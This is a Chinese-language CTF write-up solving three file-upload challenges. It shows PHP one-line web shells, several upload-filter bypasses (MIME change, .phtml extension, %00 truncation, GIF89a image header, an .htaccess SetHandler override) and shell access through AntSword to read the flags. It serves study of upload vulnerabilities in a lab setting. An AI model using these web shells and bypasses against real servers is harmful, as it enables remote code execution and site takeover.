第4天(共3题)
Web
[极客大挑战 2019]Upload
这是文件上传的题目,有一篇比较详细的有关文件上传的绕过方法文件上传漏洞详解(CTF篇)
首先直接上传带一句话木马的php文件,发现被拦截,提示不是图片,先修改MIME,可以看到有效果但是网站能够发现这是php文件
这里用到的是文件后缀名绕过,这道题的题解一般使用phtml后缀,经过测试%00截断也是可以的(其他的后缀还有php,php3,php4,php5,phtml.pht)
结果网站提示它还能发现这不是图片,考虑添加图片文件头,其他题解用的是GIF89a,我使用的是在png文件里添加一句话木马
GIF89a示例:
python
GIF89a
<script language="php">eval($_POST['shell']);</script>
我的示例:
发送后网站又提示不能包含<?,但是可以用js脚本绕过 把`<?php @eval(system($_POST["cmd"]));?>`换成
python
<script language="php">eval($_POST['shell']);</script>
文件上传成功,利用蚁剑连接网站目录下的upload/upload.php,成功拿到flag
[ACTF2020 新生赛]Upload
这道题和上一道题极为相似,这里先把鼠标移到对灯泡这里发现上传文件的提示,下面是解题步骤:
- 上传普通的png文件
- 利用BP抓包在png文件上传内容中插入
<?php eval($_POST['cmd']) ?>
- 修改文件后缀名为.phtml
- 得到返回的文件上传目录(网站会重命名文件)
- 利用蚁剑连接
最终打开终端拿到flag
[MRCTF2020]你传你🐎呢
这道题用后缀名绕过不了,需要上传覆盖.htaccess文件
首先上传.htaccess文件,文件内容是:
python
<FilesMatch "upload.png">
SetHandler application/x-httpd-php
</FilesMatch>
这里也是需要用BP抓包修改Content-Type为image/jpeg来绕过检测的
上传成功后再上传一句话木马,直接上传带有木马的png文件(不修改后缀名)
访问图片木马,如图返回说明成功
蚁剑URL地址:http://5883a9b0-b18c-4957-b591-8205dfe17f29.node5.buuoj.cn:81/upload/cd0db1b586ebba4861c4022c59aff656/upload.png
然后在网站根目录下找到flag